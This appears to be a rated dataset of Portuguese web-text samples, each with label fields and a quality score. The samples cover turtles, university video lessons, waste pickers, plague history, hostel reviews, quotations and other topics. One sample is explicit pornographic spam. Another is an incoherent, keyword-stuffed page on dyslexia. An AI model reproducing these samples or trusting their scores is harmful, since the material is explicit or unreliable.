+A imagem feita pelo drone foi analisada quadro a quadro em um laboratório. Com isso veio a estimativa de que cerca de 64 mil tartarugas-verdes, na ilha de Raine, estavam indo na direção d terra para colocar seus ovos. Com essa nova contagem, os pesquisadores concluíram que a última contagem feita tinha os números subestimados por um fator de 1,73.
+Contar essa população com o uso do drone é parte do projeto chamado ""Raine Island Recovery Project"". O objetivo dele é proteger e recuperar o habitat da ilha australiana e garantir o futuro das principais espécies marinhas locais.
+Imagens Bored panda Twitter",original,original,original,original,3,0.6
+"Para você professor que deseja elaborar atividades didáticas online e começar a utilizar o ambiente e-Aulas USP e e-Disciplinas da USP, Sugerimos acessar um tutorial contendo as informações e orientações para te auxiliar em todas as etapas do processo de elaboração até a divulgação final.
+Ajuda ao estudante:
+A grande maioria das videoaulas disponíveis no eAulas USP está aberta a todas as pessoas para acesso livre.
+Para acessar e assistir as videoaulas, basta que o estudante navegue pelas opções disponíveis na home-page do eAulas, lá estão disponíveis botões que levarão os estudantes aos conteúdos desejados, organizados por critérios como:
+- Área de conhecimento (Exatas, Humanidades, e Biológicas) e Nível acadêmico (Ensino Médio, Graduação, Pós-Graduação, Cultura e Extensão, e Pesquisa).
+Além disso, também existe a opção da busca por palavra-chave (canto superior direito). Lá é possível pesquisar em todo o acervo disponível no eAulas USP sobre o termo desejado.
+Importante destaque: existem também videoaulas que aparecerão nos resultados das pesquisas, mas que eventualmente estejam em condição de acesso restrito.
+Como funciona o acesso restrito?
+As videoaulas estão publicadas dentro de alguma destas 3 opções determinadas pelo professor:
+- Acesso totalmente liberado (sem necessidade de cadastro nem login);
+- Acesso por meio de login na plataforma e-Aulas (seja aluno USP ou público externo, desde que cadastrado e logado no e-Aulas USP). Poderá aparecer o lembrete na tela: - É necessário fazer login para visualizar este vídeo.
+- Acesso exclusivo para alunos da USP matriculados na disciplina. Poderá aparecer o lembrete na tela: - É necessário ser aluno USP matriculado na disciplina e estar autenticado com sua senha única da USP na plataforma.
+Ajuda técnica: problemas de acesso e/ou visualização de videoaulas:
+Eventuais mensagens de erro na região de visualização da videoaula, lentidão no carregamento e/ou travamentos na reprodução de vídeo, recomendamos:
+Executar: o procedimento de limpeza de cache em seu navegador e/ou executar o procedimento de redefinição de parâmetros em seu navegador. Também é válido utilizar outro navegador disponível em sua máquina e, até mesmo, utilizar outro dispositivo/equipamento que esteja ao seu alcance.
+Mas, se você executou todos estes procedimentos e, ainda assim, não consegue visualizar nenhuma videoaula, por favor, entrar em contato por meio de formulário na página de contato e nos descrever brevemente o seu problema. Se possível, informar tais dados:",original,original,original,original,2,0.4
+"Relatório que deverá ser divulgado no fim do mês pelo Instituto de Estudos do Trabalho e Sociedade (IETS), a pedido da Secretaria Estadual do Ambiente do Rio, vai mostrar que aproximadamente 300 catadores que vivem em Jardim Gramacho, Duque de Caxias, poderiam estar recebendo o Bolsa Família não fosse… a simples falta de cadastro.
+Os motivos são diversos: desde a falta de documentação à trâmites burocráticos. O benefício os ajudaria a superar a pobreza extrema num momento em que as atividades do lixão estão prestes a se encerrar. Com o fechamento de Gramacho, Seropédica vai receber um aterro sanitário, no qual a atividade de catação não poderá existir.
+O lançamento do serviço de coleta seletiva em Xerém será feito no dia 6 de abril, às 10h, na sede campestre da Associação dos Antigos Funcionários do Banco do Brasil (Alameda Santa Alice, 310), pelo secretário Municipal de Meio Ambiente, Agricultura e Abastecimento, Samuel Maia. Será a segunda região do município a dispor do serviço. A primeira está localizada no primeiro distrito e beneficia catadores que atuam desde 2009 em Olavo Bilac, Gramacho e Jardim Leal e nos sub-bairros do entorno.
+A ampliação do programa faz parte da Política Municipal de Coleta Seletiva, implantado pelo prefeito José Camilo Zito (PSDB), que vai contribuir para o fortalecimento da cadeia produtiva da reciclagem. “Visa também à melhoria da gestão de resíduos e a inclusão social de catadores de material reciclável”, destacou Maia, que também está implantando a coleta seletiva em todos os órgãos municipais da cidade.
+O número de lixões no país é desconhecido, mas o Ministério do Meio Ambiente (MMA) afirma que mais de 60% das cidades não tratam o lixo adequadamente. A reciclagem também é limitada. “Apenas 900 municípios de 5.565 possuem algum tipo de coleta seletiva”, afirma Sérgio Gonçalves, diretor de Ambiente Urbano do MMA.
+Recentemente, o cotidiano dos catadores mobilizou artistas e cineastas. Em 2011, os catadores foram retratados no documentário ‘Lixo extraordinário’, que concorre ao Oscar com a apresentação da realidade do Aterro de Gramacho. O mesmo lixão foi cenário de ‘Estamira’ (2004), de Marcos Prado, e voltará às telas com ‘As crianças do lixão’, de Robert Ziehe.
+Em Gramacho, os mais de 1,3 mil catadores garimpam o material reciclável em meio ao lixo despejado por cerca de 900 caminhões – 9 mil toneladas diárias. “Eu trabalhava em um depósito aqui perto, quando minhas colegas me contaram que havia um jeito de ganhar dinheiro mais fácil, sem burocracia. Assim eu vim parar aqui”, conta a catadora Débora da Cruz Amaral, de 26 anos. Ela afirma que conseguiu organizar sua vida com o dinheiro pago pelo lixo recolhido. “Comprei uma moto, um terreno e os móveis da minha casa”, afirma.
+Sobre o fim do aterro, Débora diz que está determinada a procurar outras oportunidades. “Às vezes nem acredito que vim parar aqui. Não quero mais ficar aqui, já estou colocando currículos em empresas da região, vamos torcer”, conta a jovem.
+A falta de perspectivas é compartilhada pelos colegas. “Ainda não sei o que vou fazer”, diz Isac Alves Rodrigues, 64 anos, que trabalha há mais de 20 em Gramacho. “Talvez eu vá para o Lixão de Bangu. Mas Seropédica (onde está sendo preparado um novo aterro sanitário) não. Lá é muito distante”, reclama o catador.
+Hoje, o material recolhido é revendido para os 42 depósitos ao redor. Para o coordenador do aterro, Lucio Viana, as cooperativas de catadores devem substituir o atual sistema. “As cooperativas precisam se legalizar, ter a posse dos documentos exigidos, constituindo um fundo de apoio e capacitação aos catadores”, diz ele. O espaço deve ser desativado antes do prazo dado pelo governo federal. Em março, uma reunião entre governo e catadores deve definir a data final da desativação total.
+Na quarta-feira (23), deputados distritais visitaram o local e constataram as irregularidades. “O direito à vida é ignorado ali e isso coloca em risco o cumprimento dos direitos humanos. É precis...",original,original,original,original,4,0.8
+"segunda-feira, 20 de dezembro de 2010
+Por muito tempo a peste bubônica ou peste negra e outras enfermidades assolaram o continente europeu desde a Antiguidade até o século XIX, já na Idade Contemporânea, no entanto, o foco deste texto dirá respeito aos séculos XIV ao XVII, quando os surtos da peste negra assombravam mais rotineiramente as nações europeias causando caos e medo nas pessoas. Neste trabalho foquei não apenas os relatos daquela época sobre a peste, mas como era a concepção de seus contemporâneos sobre a peste, que motivos eles davam para que tais calamidades ocorressem, e como elas ocorriam.
+No século XIV a Europa presenciou o auge dos surtos da peste bubônica, uma doença causada pela bactériaYersinia pestis, transmitida por pulgas, principalmente encontradas nos ratos pretos, que viviam nas cidades. A peste negra teve sua origem na Ásia, em algum lugar próximo as fronteiras da China, e se espalhou pela Ásia Central, e possivelmente para a Índia e o Sudeste Asiático. Devemos nos lembrar que nesta época a Rota da Seda ainda estava em pleno vigor, e era uma das vias mais extensas e principais do continente asiático, que ligava o Extremo Oriente ao Mar Mediterrâneo. Através dos animais, principalmente de ratos e de seres humanos infectados, a peste negra chegou a Europa e se alastrou por esta. Devemos ter em mente que os hábitos higiênicos pessoais e públicos eram bem precários, e isso facilitou a proliferação da doença nas cidades e posteriormente nos campos. ""A peste bubônica caracterizava-se pelo aparecimento de gânglios muitos inchados (bubões) nas virilhas, no pescoço e nas axilas, associadas a febre elevada que ocasiona confusão mental ou delírio, calafrios, dores difusas e vômitos"". (Grande Enciclopédia Larousse Cultural, 1998, p. 4579).
+A peste também poderia atacar os pulmões, provocando asfixia, cianose e tosse com sangue, problemas respiratórios que poderiam levar a uma parada pulmonar. Devido a alta proliferação da bactéria, a doença era transmitida pelo ar entre os humanos, através da tosse, saliva e espirro. Sem tratamento a doença levava a morte em poucos dias, mais a frente, veremos que relatos na época diziam que a peste levava a morte em poucas horas.
+Pelo fato de não se conhecer nesta época antibióticos, a doença vitimou dezenas de milhões de vidas por toda a Europa, chegando ao ponto de que alguns estudiosos indicam que pelo menos um terço da população europeia tenha perecido.
+A praga de Azoth (Die Pest von Azoth). Nicolas Poussin. 1630-1631.
+""Em 1347, atingiu Constantinopla e Gênova e logo toda a Europa, de Portugal e da Irlanda a Moscou. As devastações da 'morte negra' estenderam-se pelos anos 1348-1351, eliminando, assegura Froissart, 'a terça parte do mundo'"". (DELUMEAU, 1998, p. 107).
+""Em 1359, ei-la na Bélgica e na Alsácia; em 1360-1361, na Inglaterra e na França. Em 1369, ela ataca novamente a Inglaterra, depois devasta a França de 1370 a 1376, para passar mais uma vez para além da Mancha. A Itália não estava mais bem aquinhoada"". (DELUMEAU, 1998, p. 107).
+Nos séculos XVI e XVII a peste ainda continuava a ceifar muitas vidas, atacando locais como Londres, Veneza, Milão, Marselha e e vários locais da Espanha.
+Mapa da Europa com os locais onde a peste negra ocorreu durante o século XIV. Clique no mapa para ler a legenda.
+""Segundo os historiadores britânicos, a Inglaterra teria sido amputada de 40% de seus habitantes entre 1348 e 1377 (tendo 3.757.000 na primeira data e 2.223.375 na segunda)"". (DELUMEAU, 1998, p. 109.
+Relatos de testemunhas na França, Itália, Espanha, Alemanha e em outros locais, apontam que pelo menos um terço e em alguns casos até mesmo a metade da população de uma cidade ou região, fora dizimada. Porém é evidente que em alguns relatos as testemunhas exageraram em alguns detalhes e números, mesmo assim, o índice de mortalidade causado pela peste que vai do século XIV ao XVII foi exorbitante, onde em uma única cidade centenas ou até mesmo milhares poderiam perecer em questão d...",original,original,original,original,4,0.8
+"1/5 dos vertebrados está sob ameaça - Sustentabilidade - Estadão
+1/5 dos vertebrados está sob ameaça
+A cada ano, 52 espécies ficam mais perto da extinção, segundo estudo na ‘Science’
+27 Outubro 2010 | 11h01
+As principais causas para a perda de espécies são a expansão da agricultura, a exploração de madeira e a introdução de espécies invasoras que acabam competindo com as nativas.“A espinha dorsal da biodiversidade está sendo corroída. Um pequeno passo dentro da Lista Vermelha é um salto de gigante rumo à extinção”, disse Edward O. Wilson, um dos mais reconhecidos biólogos da atualidade, da Universidade Harvard. Ele não participou do trabalho.
+As espécies estudadas constam da chamada Lista Vermelha da União Internacional para a Conservação da Natureza (IUCN). As categorias da lista são: menos preocupante, quase ameaçado, vulnerável, em perigo, criticamente em perigo, extinto na natureza e extinto (até em cativeiro).
+Ânimo. Apesar de refletir a crise atual da biodiversidade, o documento, publicado na revista Science, serve para encorajar os esforços de conservação. De 25.780 espécies analisadas, 64 de mamíferos, aves e anfíbios tiveram melhora no status graças a ações realizadas por governos ou ONGs.“Mostramos que os esforços não são em vão. As ações de conservação estão fazendo a diferença. O que é preciso agora é aumentar o investimento”, disse Ana Rodrigues, uma das autoras do estudo, do Centro de Ecologia Funcional e Evolutiva, da França. Ela diz que a criação de unidades de conservação na Mata Atlântica permitiu evitar perda de hábitat e controlar atividades de caça – possibilitando que espécies como o mico-leão-dourado e o papagaio-de-cara-roxa não desaparecessem. Outro exemplo é a moratória para a caça de baleias, que garantiu a recuperação da baleia-azul.
+Anfíbios. A maioria das ações de conservação tem como foco os mamíferos e as aves. O estudo aponta que os anfíbios estão em “situação calamitosa”, sofrendo com altos níveis de ameaça e pouco esforço de preservação. Um dos problemas é uma nova doença, altamente contagiosa, que parece capaz de levar dezenas de espécies à extinção em poucos anos – ainda não se descobriu a cura. “Nessa fase, a única solução é garantir que existam populações em cativeiro como um ‘seguro’ contra extinção”, diz Ana.
+O estado crítico dos anfíbios preocupa a ONG Conservação Internacional (CI). Andrew Rosenberg, vice-presidente da CI para Ciência e Conhecimento, afirma que eles são muito sensíveis à perda de hábitat e à degradação do ecossistema. Em agosto, equipes da CI e da IUCN começaram uma busca para tentar redescobrir cem espécies de anfíbios “perdidos” – animais considerados potencialmente extintos, mas que podem existir em alguns poucos lugares remotos.
+Extinção Biodiversidade Vertebrados Ameaça Science",original,original,original,original,4,0.8
+"Design de Relacionamento: Serviços ...
+Este seminário abordou os principais conceitos do design thinking, disciplina que usa os métodos do design para unir as necessidades das pessoas com o que é tecnologicamente factível e economicamente viável dentro de uma estratégia de negócios.
+at JS Serviços Web
+Tania Nalborczyk Leites 2.
+O design thinking é umaferramenta que ajuda aempresa a pensar com a cabeça doconsumidor. As aspirações do clientesão, então, decifradas e traduzidas em umobjeto inovador, único. Design Thinking 4.
+Design Thinking 5.
++ = Design Thinking 6.
+Humano(desejável) Econômico (viável) Tecnológico (possível) Design Thinking 7.
+1 - Inspiração Design Thinking 10.
+2 - Ideação Design Thinking 11.
+“Build in order to think, instead of thinking in order to build” Tim Brown - IDEO Design Thinking 12.
+3 - Implementação Design Thinking 13.
+Entender o que osbrasileiros, principalmente declasse média baixa, esperam deum computador 14.
+Design Thinking 15.
+Problema complexo Modelo de pensamentoSolução (fórmula) Design Thinking 17.
+“Vantagem competitiva consiste em criar métodos de solução de problemas complexos antes dos Design Thinking competidores” Roger Martin 18.
+Pensamento analítico Lógica indutiva Lógica dedutivaPensamento abdutivo Lógica abdutiva Design Thinking 19.
+EmpatiaPensamento integrativo Otimismo Experimentalismo Observação Inovação Trabalho em equipe Design Thinking 20.
+Invenção do negócioRecompensa incerta, mas altaImpossibilidade de consolidar e explotar retornos Longo prazo Alto risco Administração do negócio Curto prazo Risco mínimo Recompensa pequena, mas previsível 21.
+Resultados que cumprem objetivo Subjetividade Capacidade de julgamento Resultados consistentes e previsíveis Eliminação de subjetividade e tendenciosidade 22.
+Design Thinking 23.
+Pensamento Pensamento Analítico Design IntuitivoConfiabilidade Thinking Validez Explotação Exploração 24.
+O que aprendemos Vida real Erros são experiências Erros não são aceitos de aprendizado Falhas não são toleradas As falhas levam ao sucesso Dada a pergunta, Faça boas perguntas ache a resposta correta encontre a melhor resposta Conhecimento e certeza Intuição e imaginação criam Promovem confiablilidade potencial para usar o conhecimento Design Thinking 25.
+―Thinking like a designer can transform the way you developproducts, services, processes—and even strategy‖ Tim Brown – CEO of Ideo 26.
+Obrigada!Tania Nalborczyk Leites tnl@neo.ufsc.br www.neo.ufsc.br Recomendadas",original,original,original,original,3,0.6
+"Vê-Me usar esta máquina de barbear na minha buceta
+Me fode com força na minha buceta porto-riquenho
+prazer com os dedos na minha buceta
+Isso nunca vai para caber na minha buceta",original,original,original,original,0,0.0
+"“O meu amor conhece cada gesto seu Palavras que o seu olhar só diz pro meu Se pra você a guerra está perdida Olha que eu mudo os meus sonhos, Pra ficar na sua vida!”
+― Ana Carolina
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+“Olhe, tenho uma alma muito prolixa e uso poucas palavras. Sou irritável e firo facilmente. Também sou muito calmo e perdoo logo. Não esqueço nunca. Mas há poucas coisas de que eu me lembre.”
+― Clarice Lispector
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+“De acordo com o Sutra, se a mente das pessoas é impura, sua terra também será impura. Pelo contrário, se suas mentes são puras, assim será sua terra. Em uma palavra não há duas terras pura e impura ao mesmo tempo. A diferença está na mente, boa ou má, das pessoas.”
+― Nitiren Daishonin
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+“Como podemos nos entender (...), se nas palavras que digo coloco o sentido e o valor das coisas como se encontram dentro de mim; enquanto quem as escuta inevitavelmente as assume com o sentido e o valor que têm para si, do mundo que tem dentro de si?”
+― Luigi Pirandello
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+“A paixão exige gritos; o amor, porém satisfaz-se com palavras, enquanto a simpatia pode ser silenciosa.”
+― Marguerite Yourcenar
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+“Não esqueça que o verdadeiro perdão se reconhece pelos atos, muito mais que pelas palavras.”
+― Paulo de Tarso
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+“Maus amigos são aqueles que falando candidamente, insinuando, bajulando e fazendo habilidoso uso das palavras, conquistam o coração dos ignorantes e destroem a bondade da mente das pessoas.”
+― Nitiren Daishonin
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+“Uma palavra bem pronunciada pode economizar não só cem palavras, mas também cem pensamentos.”
+― Henri Poincaré
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+“Não é no silêncio que os homens se fazem, mas na palavra, no trabalho, na ação-reflexão”
+― Paulo Freire
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+“Isto às vezes é tremendo porque a gente quer exprimir sentimentos em relação a pessoas e as palavras são gastas e poucas. E depois aquilo que a gente sente é tão mais forte que as palavras...”
+― António Lobo Antunes
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+“O presente é o resultado dos pensamentos do passado, e o futuro será moldado pelos pensamentos no presente. Se pensarmos corretamente, falaremos e agiremos corretamente. A palavra e a ação apenas acompanham os pensamentos.”
+― Swami Sivananda
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+“As quatro coisas que não voltam para trás: A pedra atirada, a palavra dita, a ocasião perdida e o tempo passado.”
+― Autor Desconhecido
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+“Nunca se vence uma guerra lutando sozinho. Você sabe que a gente precisa entrar em contato com toda essa força contida que vive guardada. O eco de suas palavras não repercutem em nada.”
+― Raul Seixas
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+“Quem pensa nas consequência dos seus gestos sabe que as pessoas nos respeitam muito mais pelas imagens que construímos dentro delas do que pelas palavras que proferimos fora delas.”
+― Augusto Cury
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+“Apenas pelas palavras o ser humano alcança a compreensão mútua. Por isso, aquele que quebra sua palavra atraiçoa toda a sociedade humana.”
+― Montaigne
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+“Promessas são apenas palavras até começarem a ser cumpridas por nossas atitudes.”
+― Carlos Hilsdorf
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+“A poesia é a criação rítmica da beleza em palavras.”
+― Edgar Allan Poe
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+“A amizade é o conforto inefável de sentir-se seguro com uma pessoa, sem ter que medir palavras ou ponderar ideias.”
+― George Eliot
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+“Não há nem felicidade nem infelicidade neste mundo, há apenas a comparação de um estado com outro. Apenas um homem que se sentiu o desespero final é capaz de sentir a felicidade suprema. É necessário ter desejado a morte a fim de saber como é bom viver. A soma de toda a sabedoria humana será contida nestas duas palavras: esperar e...",original,original,original,original,3,0.6
+"RIO FOREST HOSTEL (RIO DE JANEIRO): 129 fotos, comparação de preços e 188 avaliações
+Rua Joaquim Murtinho 517, Rio de Janeiro, Estado do Rio de Janeiro 20241-320 Brasil
+Atendimento excelente, prestativo e com ótimas informações sobre roteiros turísticos e restaurantes. A estrutura é boa e possui até uma piscina. O custo-benefício é excelente! Contando inclusive com café da manhã.
+Resposta de RioForest, Proprietário do estabelecimento Rio Forest HostelRespondida em 5 de novembro de 2018
+Ficamos muito felizes por termos oferecido a você uma boa experiência! Aguardamos ansiosos pelo seu retorno. Atenciosamente,
+Como quase todos os lugares de Santa Teresa, para se chegar ao antigo casarão onde fica o hostel você tem que subir escadas.. muitas... mas assim que vc chega lá em cima e olha para aquela vista, todo o esforço da subida é recompensado. Os...Mais
+Resposta de RioForest, Proprietário do estabelecimento Rio Forest HostelRespondida em 24 de outubro de 2018
+Ficamos muito felizes que tenha gostado de sua estadia conosco e esperamos ansiosos pelo seu retorno!
+O Hostel é ótimo, estrutura ótima (sobretudo a parte de lazer), a equipe é muito querida e o preço para os quartos coletivos são ótimos. E além de tudo, fica pertinho da lapa, com mercado e restaurante proximos!
+Ficamos muito felizes que você tenha gostado de sua estadia e aguardamos ansiosos pelo seu retorno!
+Café da manhã é decepcionante, instalações mal cuidadas e sujas, funcionários mal treinados, mobílias mal conservadas e falta de utensílios básicos de higiene integraram o combo de decepção que foi a hospedagem neste hostel.Mais
+Lamentamos não termos atendido suas expectativas e agradecemos por sua opinião, pois ela é muito importante para implementarmos nossos serviços. Infelizmente devido ao baixo valor de nossas tarifas em comparação aos hotéis, não podemos oferecer um serviço de buffet livre de café da manhã. Mesmo...Mais
+Foi a melhor hospedagem da minha vida. Eu estava na cidade maravilhosa e não me importei em ficar dias no Hostel. Fui muito bem recebida, com cuidado, atenção, carinho e amor. Foi uma sensação única de estar em casa com pessoas maravilhosas. Amei como a...Mais
+Ficamos muito felizes que tenha gostado de sua hospedagem e aguardamos ansiosamente pelo seu retorno!
+Pergunte a funcionários e pessoas que já visitaram Rio Forest Hostel.
+Olá tudo bem? somos um casal viajante de Kombi e gostaríamos de saber se tem lugar seguro para estaciona-la, uma vez q é ""nossa casa"". Obrigado
+Olá Paulo! tudo bem? Obrigado por nos contactar , Nós temos lugar para estacionar fora do hostel, na rua, pois a gente fica num bairro residencial aos pés da floresta, onde todos os vizinhos deixam seus carros também por... Mais
+Olá Paulo! tudo bem? Obrigado por nos contactar , Nós temos lugar para estacionar fora do hostel, na rua, pois a gente fica num bairro residencial aos pés da floresta, onde todos os vizinhos deixam seus carros também por ser um lugar tranquilo e seguro, mas ainda é rua, por isso a gente não pode se fazer responsável no caso de algo acontecer com o carro. Embora em todos os anos que a gente leva funcionando nada ruim tem acontecido. Sempre a precaução e bem-vinda.
+Existe muito lugar p comer próximos ? Estou querendo ir dia 10 ao 17 de janeiro
+Olá Vanessa, boa tarde! Existem vários diferentes restaurantes próximos a nós. Inclusive estamos próximos ao Largo dos Guimarães e ao bairro da Lapa, tradicionais polos histórico, artístico e gastronômico do Rio de Janeiro... Mais
+Olá Vanessa, boa tarde! Existem vários diferentes restaurantes próximos a nós. Inclusive estamos próximos ao Largo dos Guimarães e ao bairro da Lapa, tradicionais polos histórico, artístico e gastronômico do Rio de Janeiro. Possuímos uma cozinha e um bar com diversos tipos de bebidas e comidas artesanais como hambúrgueres , pizzas e petiscos. Maiores informações acesse nosso site e entre em contato conosco. Atenciosamente, Marcus
+""Quartos no segundo andar na parte da frente, longe do barulho d...",original,original,original,original,1,0.2
+"Formas de dislexia Trabalhos de casa - Serviço yeredacaoobvk.asbvme.us
+Para tratar a dislexia é indicada realização de fonoaudiologia, psicoterapia, estratégias como professor e uso de remédios em casos específicos. A dislexia se manifesta por várias dificuldades em diferentes formas de linguagem freqüentemente incluindo, além sinais de dislexia na idade escolar. Formas de dislexia: p/ profª augusta schimidt/fev2007 disgrafia É uma inabilidade ou atraso no desenvolvimento da linguagem escrita, especialmente da escrita cursiva. Depois de diagnosticado o grau de dislexia da criança, é necessário ter paciência e entender que pode precisar de mais tempo para finalizar os seus. O que é dislexia: formas de dislexia: o livro : depoimentos: matérias : outros: downloads: home quando não de forma inadequada e, mesmo.
+Tipos de dislexia problemas de discriminação de tamanhos e formas, confusões entre grupos de letras e dificuldades em transformar letras em sons. A dislexia é mais comum em crianças, mas é possível encontrar esse distúrbio em soletra a mesma palavra de formas diferentes numa mesma página. A associação brasileira de dislexia coordenadores, orientadores e diretores sobre novas formas de aprender, realiza reprogramação curricular. Sinais de dislexia: os estudantes disléxicos podem ver os textos de forma diferente, por exemplo, ver espaços onde não existe qualquer espaço.
+Recentemente fiz um teste de dislexia e deu 86,7% de mas de toda forma o ideal é passar por uma avaliação para detectar se ela tem dislexia ou qualquer. O diagnóstico de dislexia é realizado com recurso a uma série tem também sido proposto que a dislexia seja melhor descrita como uma diferente forma de. Tipos de dislexia que pode encontrar tipos de dislexia: auditiva ou disfonética, a visual ou diseidética e a possível combinação das duas tipos de dislexia.
+A dislexia: a forma de pensar de um disléxico a dislexia é a mãe dos transtornos de aprendizagem sendo o resultado de.
+Feito o diagnóstico de dislexia e identificado o seu grau ela conta que, na medida em que os pais se informam, eles encaram o distúrbio de outra forma.
+• dislexia visual ou diseidética: esse tipo de dislexia irá ocasionar dificuldades em diferir os lados direito e esquerdo formas de pagamento débito.
+Disgrafia nos diferentes aspectos da dislexia, a disgrafia é caracterizada por problemas com a linguagem escrita, que dificulta a comunicação de idéias e de. Dislexia é um transtorno de aprendizagem muito comum existem diferentes tipos de dislexia que podem afectar as pessoas de diversas formas conheça-os aqui. O conteúdo é visto de forma espiral, ou seja gostaria de mais informações sobre o teste de dislexia. O mesmo não acontece com outras formas de dislexia acredito que assim como eu, provavelmente todos os disléxicos têm altas habilidades em alguma outra área. Dislexia: teorias, características e formas de intervenção (i – teorias [hipóteses, postulações] explicativas da dislexia i – história e definições da. Os sintomas que podem indicar a dislexia, antes de um diagnóstico multidisciplinar os resultados irão aparecer de forma consistente e progressiva.",original,original,original,original,3,0.6
+"Murilo Mendes (13 maio de 1901-13 agosto de 1975) foi um poeta brasileiro. Fez parte do Segundo Tempo Modernista. Recebeu o prêmio Graça Aranha com seu primeiro livro “Poemas”. Participou do Movimento Antropofágico, que buscava uma vinculação com as origens do Brasil.
+Murilo Monteiro Mendes (1901-1975), conhecido como Murilo Mendes, nasceu em Juiz de Fora, em Minas Gerais, no dia 13 de maio de 1901. Iniciou seus estudos na terra natal, indo em seguida para o Internato do Colégio Salesiano em Niterói, Rio de Janeiro. Em 1920, muda-se para a capital, onde participa do Movimento Antropofágico. Estreia na literatura escrevendo para duas revistas do modernismo, Terra Roxa e Outras Terras e Antropofagia.
+Em 1930, lança seu primeiro livro “Poemas”. A poesia da geração de 30 teve grande preocupação social. A poesia de Murilo Mendes analisa o destino do ser humano como um todo. Em 1932 escreve o poema “Historia do Brasil”, uma obra de fundo nacionalista, que retrata nossa história sob uma visão ufanista-irônica.
+Em 1934, ingressa num grupo católico formado por artistas e intelectuais e desenvolve temas religiosos. Em parceria com o escritor Jorge de Lima, escreve “Tempos e Eternidade” (1935), onde conciliam a poesia religiosa com as contradições do eu, com a preocupação social e com o sobrenatural surrealista. Juntos foram os dois principais representantes da poesia religiosa cultivada na segunda geração do Modernismo. Nessa época, emprega-se como bancário e inspetor de ensino.
+Em 1938 escreve “A Poesia em Pânico”. Em 1944, escreve a prosa “O Discípulo de Emaús”. Trabalhou no Ministério da Fazenda e no Cartório da 4ª Vara de Família. Casa-se com Maria da Saudade de Cortesão. O casal não teve filhos. Em 1948, escreve “Janela do Caos”. Considerado por alguns como o principal representante da poesia surrealista, a obra de Murilo apresenta também traços da poesia social, além do novo barroco e do cristianismo.
+Em 1953, foi convidado para lecionar literatura brasileira em Lisboa. De 1953 a 1955, percorreu diversos países da Europa, divulgando, em conferências, a cultura brasileira. Em 1957, se estabeleceu em Roma, onde também lecionou Literatura Brasileira.",original,original,original,original,4,0.8
+"A democracia, a confiança e as escolhas da esquerda | Blog do murilopohl
+Filed under: Uncategorized | Tagged: DEMOCRACIA, em portugal, hegemonia |
+« PT e PSD estão próximos em dois terços das capitais “Trucidamento da família Kubitzky”, grilagem e especulação imobiliária »",original,original,original,original,1,0.2
+"Press Kit Dedicado
+Press Hot Site
+ITHO 2005
+Lacime 2004
+19ª Braztoa
+21ª Aviestur
+ABAV 2003
+Exposystems 2003
+Web Press Kits arquivados
+3º Workshop Corporativo
+35º Congresso ABAV-2007
+ABAV 2013 - Espanhol
+ABAV 2013 - Inglês
+Clube de Hotéis.Com
+Escritório Joandre Ferraz Advogados Associados
+FEAFRO 2013
+Last Minute Viagens
+Qualitas Travel Partner
+Sanchat Tour Operator´s",original,original,original,original,1,0.2
+"20 de mai de 2015 14:51
+Gostaria de saber se é vantagem comprar ingressos para os Parques Universal (1 dia em cada parque) e Magic Kingdon (1 dia de parque), no Brasil ou diretos nos parques em Orlando.
+21 de mai de 2015 01:18
+É sempre interessante pesquisar, considerando o valor do dólar e o IOF. Sites como o decolar.com muitas vezes apresentam ofertas vantajosas, principalmente se considerar que não pagará o IOF de 6,38, incidente nas transações internacionais com cartões de crédito. Outro fator a considerar é a possibilidade de parcelamento que existe, por exemplo, no site citado.
+Vc mencionou a compra de ingresso de um dia para Universal. Gostaria apenas de lembrar quanto à Universal, que é muito interessante comprar o ingresso para Universal e Islands of Advneture com a opção Park to Park, pois o Expresso Hogwarts, atração bem interessante (trem do Harry Potter) liga os dois parques e somente quem tem ingresso com a opção Park to Park pode entrar na estação.
+21 de mai de 2015 03:22
+Comprar ingressos pra Disney no Brasil tem a vantagem de liberar o fast pass (passe para pegar fila bem menor em alguns brinquedos) com antecedência. Se tiver ingresso válido, você pode reservar fast pass 30 dias antes da viagem. Se tiver reserva em algum hotel do Resort+ingresso, pode reservar 60 dias antes.
+22 de mai de 2015 13:32
+Veja, comprar antecipado é vantagem pelo FP+, seja comprar no brasil seja comprar no site da Disney.
+A diferença é cotação do dólar e forma de pagamento. Comprar na CVC, Decolar, Tam Viagens ou qualquer outra agência tem a vantagem de pagar em reais (com a cotação do dia).
+Comprar no site da Disney você tem que ter o cartão internacional, paga IOF e a cotação do dólar da fatura.
+Eu só não gosto de comprar no Brasil e ter que retirar em um posto de Orlando, como algumas agências fazer. Se for para comprar aqui tem que ser como comprar no site dos parques, caso contrário não vale a pena.
+26 de mai de 2015 03:06
+Compra o ingresso aqui no Brasil e tem que retirar lá?
+Editado em: 26 de Maio de 2015, 03:07
+26 de mai de 2015 09:18
+Bom dia. Dependendo da loja sim. Isso é algo para perguntar antes de fechar a compra.
+Salvo engano na CVC é esse esquema, eles te dão um voucher para retirar os ingressos em um lugar na International Drive em Orlando
+26 de mai de 2015 11:25
+Preciso verificar isso , fui em março e comprei na entrada do parque , porém qdo estava lá dentro vi que tem forma mais rápida ,ou seja ficar menos tempo nas filas e como voltarei em agosto com a família ,estou planejando melhor , gostei das dicas sobre carro , não ia alugar , mas já estou pensando melhor
+26 de mai de 2015 12:43
+Opa, vamos devagar, rs.
+Sobre os ingressos é bom verificar pois no caso dos parques da Disney com o código antecipado você pode se cadastrar no site (link abaixo) e fazer o registro gratuito do Fastpass podendo agendar até 3 atrações por dia (e depois de usar os Fastpass+ pode agendar outros no mesmo dia).
+https://disneyworld.disney.go.com/pt/plan/
+Nos parques da Universal você pode comprar o Express pass e o Expressa Pass Unlimited a diferença é que o segundo você pode pegar quantas vezes a fila expressa você quiser, no primeiro só uma vez. Lembrando que as atrações mais ""requisitadas"" como o Harry Potter não aceitam o express pass.
+Editado em: 26 de Maio de 2015, 12:44
+27 de mai de 2016 04:16
+Removido em: 27 de Maio de 2016, 04:16",original,original,original,original,2,0.4
+"Barreiras são rompidas através da tecnologia assistiva – Portal Opa
+Barreiras são rompidas através da tecnologia assistiva
+Postado em 4 de outubro de 2016 26 de janeiro de 2017
+Ciência desenvolvida não revolucionou apenas o mercado de eletrônicos, mas também os equipamentos utilizados por pessoas com doença física e motora
+Desde a revolução industrial temos provas o suficiente de que tivemos um grande avanço em técnicas e que muitas máquinas substituíram trabalhos braçais. Graças a essa passagem na história, possuímos ferramentas capazes de facilitar a vida de indivíduos com um estilo de vida normal e portadores de alguma limitação física ou mental.
